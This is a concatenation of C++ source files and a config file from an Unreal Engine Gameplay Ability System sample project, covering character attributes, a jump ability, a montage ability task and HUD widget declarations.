void UGDAttributeSetBase::OnRep_Armor(const FGameplayAttributeData& OldArmor)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, Armor, OldArmor);
}
void UGDAttributeSetBase::OnRep_MoveSpeed(const FGameplayAttributeData& OldMoveSpeed)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, MoveSpeed, OldMoveSpeed);
}
void UGDAttributeSetBase::OnRep_CharacterLevel(const FGameplayAttributeData& OldCharacterLevel)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, CharacterLevel, OldCharacterLevel);
}
void UGDAttributeSetBase::OnRep_XP(const FGameplayAttributeData& OldXP)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, XP, OldXP);
}
void UGDAttributeSetBase::OnRep_XPBounty(const FGameplayAttributeData& OldXPBounty)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, XPBounty, OldXPBounty);
}
void UGDAttributeSetBase::OnRep_Gold(const FGameplayAttributeData& OldGold)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, Gold, OldGold);
}
void UGDAttributeSetBase::OnRep_GoldBounty(const FGameplayAttributeData& OldGoldBounty)
{
GAMEPLAYATTRIBUTE_REPNOTIFY(UGDAttributeSetBase, GoldBounty, OldGoldBounty);
}
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/GDGA_CharacterJump.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Characters/Abilities/GDGameplayAbility.h"
#include "GDGA_CharacterJump.generated.h"
/**
* Makes the Character try to jump using the standard Character->Jump. This is an example of a non-instanced ability.
*/
UCLASS()
class GASDOCUMENTATION_API UGDGA_CharacterJump : public UGDGameplayAbility
{
GENERATED_BODY()
public:
UGDGA_CharacterJump();
virtual void ActivateAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo* ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo, const FGameplayEventData* TriggerEventData) override;
virtual bool CanActivateAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo* ActorInfo, const FGameplayTagContainer* SourceTags = nullptr, const FGameplayTagContainer* TargetTags = nullptr, OUT FGameplayTagContainer* OptionalRelevantTags = nullptr) const override;
virtual void InputReleased(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo* ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo) override;
virtual void CancelAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo* ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo, bool bReplicateCancelAbility) override;
};
<file_sep>/Config/DefaultGame.ini
[/Script/EngineSettings.GeneralProjectSettings]
ProjectID=DB236B2A480A1BF29FDDBD8F151CBFCC
ProjectName=GAS Documentation
CopyrightNotice=Copyright 2023 <NAME>.
[/Script/GameplayAbilities.AbilitySystemGlobals]
GameplayCueNotifyPaths="/Game/GASDocumentation/Characters"
ActivateFailIsDeadName=Activation.Fail.IsDead
ActivateFailCooldownName=Activation.Fail.OnCooldown
ActivateFailCostName=Activation.Fail.CantAffordCost
ActivateFailTagsBlockedName=Activation.Fail.BlockedByTags
ActivateFailTagsMissingName=Activation.Fail.MissingTags
ActivateFailNetworkingName=Activation.Fail.Networking
bUseDebugTargetFromHud=true<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/AbilityTasks/GDAT_PlayMontageAndWaitForEvent.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/AbilityTasks/GDAT_PlayMontageAndWaitForEvent.h"
#include "AbilitySystemComponent.h"
#include "AbilitySystemGlobals.h"
#include "Animation/AnimInstance.h"
#include "Characters/Abilities/GDAbilitySystemComponent.h"
#include "Characters/Abilities/GDGameplayAbility.h"
#include "GASDocumentation/GASDocumentation.h"
#include "GameFramework/Character.h"
UGDAT_PlayMontageAndWaitForEvent::UGDAT_PlayMontageAndWaitForEvent(const FObjectInitializer& ObjectInitializer)
: Super(ObjectInitializer)
{
Rate = 1.f;
bStopWhenAbilityEnds = true;
}
void UGDAT_PlayMontageAndWaitForEvent::OnMontageBlendingOut(UAnimMontage* Montage, bool bInterrupted)
{
if (Ability && Ability->GetCurrentMontage() == MontageToPlay)
{
if (Montage == MontageToPlay)
{
AbilitySystemComponent->ClearAnimatingAbility(Ability);
// Reset AnimRootMotionTranslationScale
ACharacter* Character = Cast<ACharacter>(GetAvatarActor());
if (Character && (Character->GetLocalRole() == ROLE_Authority ||
(Character->GetLocalRole() == ROLE_AutonomousProxy && Ability->GetNetExecutionPolicy() == EGameplayAbilityNetExecutionPolicy::LocalPredicted)))
{
Character->SetAnimRootMotionTranslationScale(1.f);
}
}
}
if (bInterrupted)
{
if (ShouldBroadcastAbilityTaskDelegates())
{
OnInterrupted.Broadcast(FGameplayTag(), FGameplayEventData());
}
}
else
{
if (ShouldBroadcastAbilityTaskDelegates())
{
OnBlendOut.Broadcast(FGameplayTag(), FGameplayEventData());
}
}
}
void UGDAT_PlayMontageAndWaitForEvent::OnAbilityCancelled()
{
// TODO: Merge this fix back to engine, it was calling the wrong callback
if (StopPlayingMontage())
{
// Let the BP handle the interrupt as well
if (ShouldBroadcastAbilityTaskDelegates())
{
OnCancelled.Broadcast(FGameplayTag(), FGameplayEventData());
}
}
}
void UGDAT_PlayMontageAndWaitForEvent::OnMontageEnded(UAnimMontage* Montage, bool bInterrupted)
{
if (!bInterrupted)
{
if (ShouldBroadcastAbilityTaskDelegates())
{
OnCompleted.Broadcast(FGameplayTag(), FGameplayEventData());
}
}
EndTask();
}
void UGDAT_PlayMontageAndWaitForEvent::OnGameplayEvent(FGameplayTag EventTag, const FGameplayEventData* Payload)
{
if (ShouldBroadcastAbilityTaskDelegates())
{
FGameplayEventData TempData = *Payload;
TempData.EventTag = EventTag;
EventReceived.Broadcast(EventTag, TempData);
}
}
UGDAT_PlayMontageAndWaitForEvent* UGDAT_PlayMontageAndWaitForEvent::PlayMontageAndWaitForEvent(UGameplayAbility* OwningAbility,
FName TaskInstanceName, UAnimMontage* MontageToPlay, FGameplayTagContainer EventTags, float Rate, FName StartSection, bool bStopWhenAbilityEnds, float AnimRootMotionTranslationScale)
{
UAbilitySystemGlobals::NonShipping_ApplyGlobalAbilityScaler_Rate(Rate);
UGDAT_PlayMontageAndWaitForEvent* MyObj = NewAbilityTask<UGDAT_PlayMontageAndWaitForEvent>(OwningAbility, TaskInstanceName);
MyObj->MontageToPlay = MontageToPlay;
MyObj->EventTags = EventTags;
MyObj->Rate = Rate;
MyObj->StartSection = StartSection;
MyObj->AnimRootMotionTranslationScale = AnimRootMotionTranslationScale;
MyObj->bStopWhenAbilityEnds = bStopWhenAbilityEnds;
return MyObj;
}
void UGDAT_PlayMontageAndWaitForEvent::Activate()
{
if (Ability == nullptr)
{
return;
}
bool bPlayedMontage = false;
if (AbilitySystemComponent.IsValid())
{
const FGameplayAbilityActorInfo* ActorInfo = Ability->GetCurrentActorInfo();
UAnimInstance* AnimInstance = ActorInfo->GetAnimInstance();
if (AnimInstance != nullptr)
{
// Bind to event callback
EventHandle = AbilitySystemComponent->AddGameplayEventTagContainerDelegate(EventTags, FGameplayEventTagMulticastDelegate::FDelegate::CreateUObject(this, &UGDAT_PlayMontageAndWaitForEvent::OnGameplayEvent));
if (AbilitySystemComponent->PlayMontage(Ability, Ability->GetCurrentActivationInfo(), MontageToPlay, Rate, StartSection) > 0.f)
{
// Playing a montage could potentially fire off a callback into game code which could kill this ability! Early out if we are pending kill.
if (ShouldBroadcastAbilityTaskDelegates() == false)
{
return;
}
CancelledHandle = Ability->OnGameplayAbilityCancelled.AddUObject(this, &UGDAT_PlayMontageAndWaitForEvent::OnAbilityCancelled);
BlendingOutDelegate.BindUObject(this, &UGDAT_PlayMontageAndWaitForEvent::OnMontageBlendingOut);
AnimInstance->Montage_SetBlendingOutDelegate(BlendingOutDelegate, MontageToPlay);
MontageEndedDelegate.BindUObject(this, &UGDAT_PlayMontageAndWaitForEvent::OnMontageEnded);
AnimInstance->Montage_SetEndDelegate(MontageEndedDelegate, MontageToPlay);
ACharacter* Character = Cast<ACharacter>(GetAvatarActor());
if (Character && (Character->GetLocalRole() == ROLE_Authority ||
(Character->GetLocalRole() == ROLE_AutonomousProxy && Ability->GetNetExecutionPolicy() == EGameplayAbilityNetExecutionPolicy::LocalPredicted)))
{
Character->SetAnimRootMotionTranslationScale(AnimRootMotionTranslationScale);
}
bPlayedMontage = true;
}
}
else
{
UE_LOG(LogTemp, Warning, TEXT("UGDAbilityTask_PlayMontageAndWaitForEvent call to PlayMontage failed!"));
}
}
else
{
UE_LOG(LogTemp, Warning, TEXT("UGDAbilityTask_PlayMontageAndWaitForEvent called on invalid AbilitySystemComponent"));
}
if (!bPlayedMontage)
{
UE_LOG(LogTemp, Warning, TEXT("UGDAbilityTask_PlayMontageAndWaitForEvent called in Ability %s failed to play montage %s; Task Instance Name %s."), *Ability->GetName(), *GetNameSafe(MontageToPlay), *InstanceName.ToString());
if (ShouldBroadcastAbilityTaskDelegates())
{
//ABILITY_LOG(Display, TEXT("%s: OnCancelled"), *GetName());
OnCancelled.Broadcast(FGameplayTag(), FGameplayEventData());
}
}
SetWaitingOnAvatar();
}
void UGDAT_PlayMontageAndWaitForEvent::ExternalCancel()
{
check(AbilitySystemComponent.IsValid());
OnAbilityCancelled();
Super::ExternalCancel();
}
void UGDAT_PlayMontageAndWaitForEvent::OnDestroy(bool AbilityEnded)
{
// Note: Clearing montage end delegate isn't necessary since its not a multicast and will be cleared when the next montage plays.
// (If we are destroyed, it will detect this and not do anything)
// This delegate, however, should be cleared as it is a multicast
if (Ability)
{
Ability->OnGameplayAbilityCancelled.Remove(CancelledHandle);
if (AbilityEnded && bStopWhenAbilityEnds)
{
StopPlayingMontage();
}
}
if (AbilitySystemComponent.IsValid())
{
AbilitySystemComponent->RemoveGameplayEventTagContainerDelegate(EventTags, EventHandle);
}
Super::OnDestroy(AbilityEnded);
}
bool UGDAT_PlayMontageAndWaitForEvent::StopPlayingMontage()
{
const FGameplayAbilityActorInfo* ActorInfo = Ability->GetCurrentActorInfo();
if (!ActorInfo)
{
return false;
}
UAnimInstance* AnimInstance = ActorInfo->GetAnimInstance();
if (AnimInstance == nullptr)
{
return false;
}
// Check if the montage is still playing
// The ability would have been interrupted, in which case we should automatically stop the montage
if (AbilitySystemComponent.IsValid() && Ability)
{
if (AbilitySystemComponent->GetAnimatingAbility() == Ability
&& AbilitySystemComponent->GetCurrentMontage() == MontageToPlay)
{
// Unbind delegates so they don't get called as well
FAnimMontageInstance* MontageInstance = AnimInstance->GetActiveInstanceForMontage(MontageToPlay);
if (MontageInstance)
{
MontageInstance->OnMontageBlendingOutStarted.Unbind();
MontageInstance->OnMontageEnded.Unbind();
}
AbilitySystemComponent->CurrentMontageStop();
return true;
}
}
return false;
}
FString UGDAT_PlayMontageAndWaitForEvent::GetDebugString() const
{
UAnimMontage* PlayingMontage = nullptr;
if (Ability)
{
const FGameplayAbilityActorInfo* ActorInfo = Ability->GetCurrentActorInfo();
UAnimInstance* AnimInstance = ActorInfo->GetAnimInstance();
if (AnimInstance != nullptr)
{
PlayingMontage = AnimInstance->Montage_IsActive(MontageToPlay) ? MontageToPlay : AnimInstance->GetCurrentActiveMontage();
}
}
return FString::Printf(TEXT("PlayMontageAndWaitForEvent. MontageToPlay: %s (Currently Playing): %s"), *GetNameSafe(MontageToPlay), *GetNameSafe(PlayingMontage));
}
<file_sep>/Source/GASDocumentation/Public/GDEngineSubsystem.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Subsystems/EngineSubsystem.h"
#include "GDEngineSubsystem.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDEngineSubsystem : public UEngineSubsystem
{
GENERATED_BODY()
public:
virtual void Initialize(FSubsystemCollectionBase& Collection) override;
};
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/AttributeSets/GDAttributeSetBase.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "AttributeSet.h"
#include "AbilitySystemComponent.h"
#include "GDAttributeSetBase.generated.h"
// Uses macros from AttributeSet.h
#define ATTRIBUTE_ACCESSORS(ClassName, PropertyName) \
GAMEPLAYATTRIBUTE_PROPERTY_GETTER(ClassName, PropertyName) \
GAMEPLAYATTRIBUTE_VALUE_GETTER(PropertyName) \
GAMEPLAYATTRIBUTE_VALUE_SETTER(PropertyName) \
GAMEPLAYATTRIBUTE_VALUE_INITTER(PropertyName)
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDAttributeSetBase : public UAttributeSet
{
GENERATED_BODY()
public:
UGDAttributeSetBase();
// AttributeSet Overrides
virtual void PreAttributeChange(const FGameplayAttribute& Attribute, float& NewValue) override;
virtual void PostGameplayEffectExecute(const FGameplayEffectModCallbackData& Data) override;
virtual void GetLifetimeReplicatedProps(TArray<FLifetimeProperty>& OutLifetimeProps) const override;
// Current Health, when 0 we expect owner to die unless prevented by an ability. Capped by MaxHealth.
// Positive changes can directly use this.
// Negative changes to Health should go through Damage meta attribute.
UPROPERTY(BlueprintReadOnly, Category = "Health", ReplicatedUsing = OnRep_Health)
FGameplayAttributeData Health;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, Health)
// MaxHealth is its own attribute since GameplayEffects may modify it
UPROPERTY(BlueprintReadOnly, Category = "Health", ReplicatedUsing = OnRep_MaxHealth)
FGameplayAttributeData MaxHealth;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, MaxHealth)
// Health regen rate will passively increase Health every second
UPROPERTY(BlueprintReadOnly, Category = "Health", ReplicatedUsing = OnRep_HealthRegenRate)
FGameplayAttributeData HealthRegenRate;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, HealthRegenRate)
// Current Mana, used to execute special abilities. Capped by MaxMana.
UPROPERTY(BlueprintReadOnly, Category = "Mana", ReplicatedUsing = OnRep_Mana)
FGameplayAttributeData Mana;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, Mana)
// MaxMana is its own attribute since GameplayEffects may modify it
UPROPERTY(BlueprintReadOnly, Category = "Mana", ReplicatedUsing = OnRep_MaxMana)
FGameplayAttributeData MaxMana;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, MaxMana)
// Mana regen rate will passively increase Mana every second
UPROPERTY(BlueprintReadOnly, Category = "Mana", ReplicatedUsing = OnRep_ManaRegenRate)
FGameplayAttributeData ManaRegenRate;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, ManaRegenRate)
// Current stamina, used to execute special abilities. Capped by MaxStamina.
UPROPERTY(BlueprintReadOnly, Category = "Stamina", ReplicatedUsing = OnRep_Stamina)
FGameplayAttributeData Stamina;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, Stamina)
// MaxStamina is its own attribute since GameplayEffects may modify it
UPROPERTY(BlueprintReadOnly, Category = "Stamina", ReplicatedUsing = OnRep_MaxStamina)
FGameplayAttributeData MaxStamina;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, MaxStamina)
// Stamina regen rate will passively increase Stamina every second
UPROPERTY(BlueprintReadOnly, Category = "Stamina", ReplicatedUsing = OnRep_StaminaRegenRate)
FGameplayAttributeData StaminaRegenRate;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, StaminaRegenRate)
// Armor reduces the amount of damage done by attackers
UPROPERTY(BlueprintReadOnly, Category = "Armor", ReplicatedUsing = OnRep_Armor)
FGameplayAttributeData Armor;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, Armor)
// Damage is a meta attribute used by the DamageExecution to calculate final damage, which then turns into -Health
// Temporary value that only exists on the Server. Not replicated.
UPROPERTY(BlueprintReadOnly, Category = "Damage")
FGameplayAttributeData Damage;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, Damage)
// MoveSpeed affects how fast characters can move.
UPROPERTY(BlueprintReadOnly, Category = "MoveSpeed", ReplicatedUsing = OnRep_MoveSpeed)
FGameplayAttributeData MoveSpeed;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, MoveSpeed)
UPROPERTY(BlueprintReadOnly, Category = "Character Level", ReplicatedUsing = OnRep_CharacterLevel)
FGameplayAttributeData CharacterLevel;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, CharacterLevel)
// Experience points gained from killing enemies. Used to level up (not implemented in this project).
UPROPERTY(BlueprintReadOnly, Category = "XP", ReplicatedUsing = OnRep_XP)
FGameplayAttributeData XP;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, XP)
// Experience points awarded to the character's killers. Used to level up (not implemented in this project).
UPROPERTY(BlueprintReadOnly, Category = "XP", ReplicatedUsing = OnRep_XPBounty)
FGameplayAttributeData XPBounty;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, XPBounty)
// Gold gained from killing enemies. Used to purchase items (not implemented in this project).
UPROPERTY(BlueprintReadOnly, Category = "Gold", ReplicatedUsing = OnRep_Gold)
FGameplayAttributeData Gold;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, Gold)
// Gold awarded to the character's killer. Used to purchase items (not implemented in this project).
UPROPERTY(BlueprintReadOnly, Category = "Gold", ReplicatedUsing = OnRep_GoldBounty)
FGameplayAttributeData GoldBounty;
ATTRIBUTE_ACCESSORS(UGDAttributeSetBase, GoldBounty)
protected:
// Helper function to proportionally adjust the value of an attribute when it's associated max attribute changes.
// (i.e. When MaxHealth increases, Health increases by an amount that maintains the same percentage as before)
void AdjustAttributeForMaxChange(FGameplayAttributeData& AffectedAttribute, const FGameplayAttributeData& MaxAttribute, float NewMaxValue, const FGameplayAttribute& AffectedAttributeProperty);
/**
* These OnRep functions exist to make sure that the ability system internal representations are synchronized properly during replication
**/
UFUNCTION()
virtual void OnRep_Health(const FGameplayAttributeData& OldHealth);
UFUNCTION()
virtual void OnRep_MaxHealth(const FGameplayAttributeData& OldMaxHealth);
UFUNCTION()
virtual void OnRep_HealthRegenRate(const FGameplayAttributeData& OldHealthRegenRate);
UFUNCTION()
virtual void OnRep_Mana(const FGameplayAttributeData& OldMana);
UFUNCTION()
virtual void OnRep_MaxMana(const FGameplayAttributeData& OldMaxMana);
UFUNCTION()
virtual void OnRep_ManaRegenRate(const FGameplayAttributeData& OldManaRegenRate);
UFUNCTION()
virtual void OnRep_Stamina(const FGameplayAttributeData& OldStamina);
UFUNCTION()
virtual void OnRep_MaxStamina(const FGameplayAttributeData& OldMaxStamina);
UFUNCTION()
virtual void OnRep_StaminaRegenRate(const FGameplayAttributeData& OldStaminaRegenRate);
UFUNCTION()
virtual void OnRep_Armor(const FGameplayAttributeData& OldArmor);
UFUNCTION()
virtual void OnRep_MoveSpeed(const FGameplayAttributeData& OldMoveSpeed);
UFUNCTION()
virtual void OnRep_CharacterLevel(const FGameplayAttributeData& OldCharacterLevel);
UFUNCTION()
virtual void OnRep_XP(const FGameplayAttributeData& OldXP);
UFUNCTION()
virtual void OnRep_XPBounty(const FGameplayAttributeData& OldXPBounty);
UFUNCTION()
virtual void OnRep_Gold(const FGameplayAttributeData& OldGold);
UFUNCTION()
virtual void OnRep_GoldBounty(const FGameplayAttributeData& OldGoldBounty);
private:
FGameplayTag HitDirectionFrontTag;
FGameplayTag HitDirectionBackTag;
FGameplayTag HitDirectionRightTag;
FGameplayTag HitDirectionLeftTag;
};
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/GDGameplayAbility.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Abilities/GameplayAbility.h"
#include "GASDocumentation/GASDocumentation.h"
#include "GDGameplayAbility.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDGameplayAbility : public UGameplayAbility
{
GENERATED_BODY()
public:
UGDGameplayAbility();
// Abilities with this set will automatically activate when the input is pressed
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "Ability")
EGDAbilityInputID AbilityInputID = EGDAbilityInputID::None;
// Value to associate an ability with an slot without tying it to an automatically activated input.
// Passive abilities won't be tied to an input so we need a way to generically associate abilities with slots.
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "Ability")
EGDAbilityInputID AbilityID = EGDAbilityInputID::None;
// Tells an ability to activate immediately when its granted. Used for passive abilities and abilities forced on others.
UPROPERTY(BlueprintReadWrite, EditAnywhere, Category = "Ability")
bool ActivateAbilityOnGranted = false;
// If an ability is marked as 'ActivateAbilityOnGranted', activate them immediately when given here
// Epic's comment: Projects may want to initiate passives or do other "BeginPlay" type of logic here.
virtual void OnAvatarSet(const FGameplayAbilityActorInfo* ActorInfo, const FGameplayAbilitySpec& Spec) override;
};
<file_sep>/Source/GASDocumentation/Private/UI/GDFloatingStatusBarWidget.cpp
// Copyright 2020 <NAME>.
#include "UI/GDFloatingStatusBarWidget.h"
<file_sep>/Source/GASDocumentation/Public/Characters/GDCharacterBase.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/Character.h"
#include "AbilitySystemInterface.h"
#include "GameplayTagContainer.h"
#include "GASDocumentation/GASDocumentation.h"
#include "GDCharacterBase.generated.h"
DECLARE_DYNAMIC_MULTICAST_DELEGATE_OneParam(FCharacterBaseHitReactDelegate, EGDHitReactDirection, Direction);
DECLARE_DYNAMIC_MULTICAST_DELEGATE_OneParam(FCharacterDiedDelegate, AGDCharacterBase*, Character);
/**
* The base Character class for the game. Everything with an AbilitySystemComponent in this game will inherit from this class.
* This class should not be instantiated and instead subclassed.
*/
UCLASS()
class GASDOCUMENTATION_API AGDCharacterBase : public ACharacter, public IAbilitySystemInterface
{
GENERATED_BODY()
public:
// Sets default values for this character's properties
AGDCharacterBase(const class FObjectInitializer& ObjectInitializer);
// Set the Hit React direction in the Animation Blueprint
UPROPERTY(BlueprintAssignable, Category = "GASDocumentation|GDCharacter")
FCharacterBaseHitReactDelegate ShowHitReact;
UPROPERTY(BlueprintAssignable, Category = "GASDocumentation|GDCharacter")
FCharacterDiedDelegate OnCharacterDied;
// Implement IAbilitySystemInterface
virtual class UAbilitySystemComponent* GetAbilitySystemComponent() const override;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter")
virtual bool IsAlive() const;
// Switch on AbilityID to return individual ability levels. Hardcoded to 1 for every ability in this project.
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter")
virtual int32 GetAbilityLevel(EGDAbilityInputID AbilityID) const;
// Removes all CharacterAbilities. Can only be called by the Server. Removing on the Server will remove from Client too.
virtual void RemoveCharacterAbilities();
UFUNCTION(BlueprintCallable)
EGDHitReactDirection GetHitReactDirection(const FVector& ImpactPoint);
UFUNCTION(NetMulticast, Reliable, WithValidation)
virtual void PlayHitReact(FGameplayTag HitDirection, AActor* DamageCauser);
virtual void PlayHitReact_Implementation(FGameplayTag HitDirection, AActor* DamageCauser);
virtual bool PlayHitReact_Validate(FGameplayTag HitDirection, AActor* DamageCauser);
/**
* Getters for attributes from GDAttributeSetBase
**/
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
int32 GetCharacterLevel() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetHealth() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetMaxHealth() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetMana() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetMaxMana() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetStamina() const;
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetMaxStamina() const;
// Gets the Current value of MoveSpeed
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetMoveSpeed() const;
// Gets the Base value of MoveSpeed
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter|Attributes")
float GetMoveSpeedBaseValue() const;
virtual void Die();
UFUNCTION(BlueprintCallable, Category = "GASDocumentation|GDCharacter")
virtual void FinishDying();
protected:
// Called when the game starts or when spawned
virtual void BeginPlay() override;
// Instead of TWeakObjectPtrs, you could just have UPROPERTY() hard references or no references at all and just call
// GetAbilitySystem() and make a GetAttributeSetBase() that can read from the PlayerState or from child classes.
// Just make sure you test if the pointer is valid before using.
// I opted for TWeakObjectPtrs because I didn't want a shared hard reference here and I didn't want an extra function call of getting
// the ASC/AttributeSet from the PlayerState or child classes every time I referenced them in this base class.
TWeakObjectPtr<class UGDAbilitySystemComponent> AbilitySystemComponent;
TWeakObjectPtr<class UGDAttributeSetBase> AttributeSetBase;
FGameplayTag HitDirectionFrontTag;
FGameplayTag HitDirectionBackTag;
FGameplayTag HitDirectionRightTag;
FGameplayTag HitDirectionLeftTag;
FGameplayTag DeadTag;
FGameplayTag EffectRemoveOnDeathTag;
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "GASDocumentation|GDCharacter")
FText CharacterName;
// Death Animation
UPROPERTY(BlueprintReadWrite, EditAnywhere, Category = "GASDocumentation|Animation")
UAnimMontage* DeathMontage;
// Default abilities for this Character. These will be removed on Character death and regiven if Character respawns.
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "GASDocumentation|Abilities")
TArray<TSubclassOf<class UGDGameplayAbility>> CharacterAbilities;
// Default attributes for a character for initializing on spawn/respawn.
// This is an instant GE that overrides the values for attributes that get reset on spawn/respawn.
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "GASDocumentation|Abilities")
TSubclassOf<class UGameplayEffect> DefaultAttributes;
// These effects are only applied one time on startup
UPROPERTY(BlueprintReadOnly, EditAnywhere, Category = "GASDocumentation|Abilities")
TArray<TSubclassOf<class UGameplayEffect>> StartupEffects;
// Grant abilities on the Server. The Ability Specs will be replicated to the owning client.
virtual void AddCharacterAbilities();
// Initialize the Character's attributes. Must run on Server but we run it on Client too
// so that we don't have to wait. The Server's replication to the Client won't matter since
// the values should be the same.
virtual void InitializeAttributes();
virtual void AddStartupEffects();
/**
* Setters for Attributes. Only use these in special cases like Respawning, otherwise use a GE to change Attributes.
* These change the Attribute's Base Value.
*/
virtual void SetHealth(float Health);
virtual void SetMana(float Mana);
virtual void SetStamina(float Stamina);
};
<file_sep>/Source/GASDocumentation/Public/UI/GDHUDWidget.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Blueprint/UserWidget.h"
#include "GDHUDWidget.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API UGDHUDWidget : public UUserWidget
{
GENERATED_BODY()
public:
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void ShowAbilityConfirmCancelText(bool ShowText);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetRespawnCountdown(float RespawnTimeRemaining);
/**
* Attribute setters
*/
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetMaxHealth(float MaxHealth);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetCurrentHealth(float CurrentHealth);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetHealthPercentage(float HealthPercentage);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetHealthRegenRate(float HealthRegenRate);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetMaxStamina(float MaxStamina);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetCurrentStamina(float CurrentStamina);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetStaminaPercentage(float StaminaPercentage);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetStaminaRegenRate(float StaminaRegenRate);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetMaxMana(float MaxMana);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetCurrentMana(float CurrentMana);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetManaPercentage(float ManaPercentage);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetManaRegenRate(float ManaRegenRate);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetExperience(int32 Experience);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetHeroLevel(int32 HeroLevel);
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetGold(int32 Gold);
};
<file_sep>/Source/GASDocumentation/Public/Characters/Abilities/AsyncTaskEffectStackChanged.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Kismet/BlueprintAsyncActionBase.h"
#include "AbilitySystemComponent.h"
#include "AsyncTaskEffectStackChanged.generated.h"
DECLARE_DYNAMIC_MULTICAST_DELEGATE_FourParams(FOnGameplayEffectStackChanged, FGameplayTag, EffectGameplayTag, FActiveGameplayEffectHandle, Handle, int32, NewStackCount, int32, OldStackCount);
/**
* Blueprint node to automatically register a listener for changes to a GameplayEffect's stack count based on an Asset or Granted tag on the Effect.
* Useful to use in UI.
*/
UCLASS(BlueprintType, meta = (ExposedAsyncProxy = AsyncTask))
class GASDOCUMENTATION_API UAsyncTaskEffectStackChanged : public UBlueprintAsyncActionBase
{
GENERATED_BODY()
UPROPERTY(BlueprintAssignable)
FOnGameplayEffectStackChanged OnGameplayEffectStackChange;
UFUNCTION(BlueprintCallable, meta = (BlueprintInternalUseOnly = "true"))
static UAsyncTaskEffectStackChanged* ListenForGameplayEffectStackChange(UAbilitySystemComponent* AbilitySystemComponent, FGameplayTag EffectGameplayTag);
